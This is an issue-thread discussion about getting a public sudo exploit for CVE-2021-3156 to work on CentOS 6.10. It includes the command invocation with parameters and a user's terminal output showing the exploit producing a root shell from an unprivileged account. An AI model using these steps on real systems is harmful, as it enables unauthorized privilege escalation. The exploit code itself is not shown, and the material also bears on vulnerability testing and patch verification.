Exploitation on CentOS 6.10 (Final) about cve-2021-3156

[worawit]

I think I found this 1 or 2 times during writing exploits.

I don't know why. Just rerun the exploit with found paramters.
For your case, rerun
./exploit_defaults_mailer.py 0x1150 0

[skrashevich]

Any solutions? Rerun doesn't help :(

[tachibanakanade]

I think I found this 1 or 2 times during writing exploits.

I don't know why. Just rerun the exploit with found paramters.
For your case, rerun
./exploit_defaults_mailer.py 0x1150 0

Excellent!! It finally worked when I reran with a new-created account.
Thank you for all the help 💯

[test@localhost CVE-2021-3156]$ id
uid=501(test) gid=501(test) groups=501(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[test@localhost CVE-2021-3156]$ ./exploit_defaults_mailer.py 0x1150 0
Cannot determine disble-root-mailer flag

cmnd size: 0x1150
offset to defaults: 0x0
success at 0
execute "/tmp/sshell" to get root shell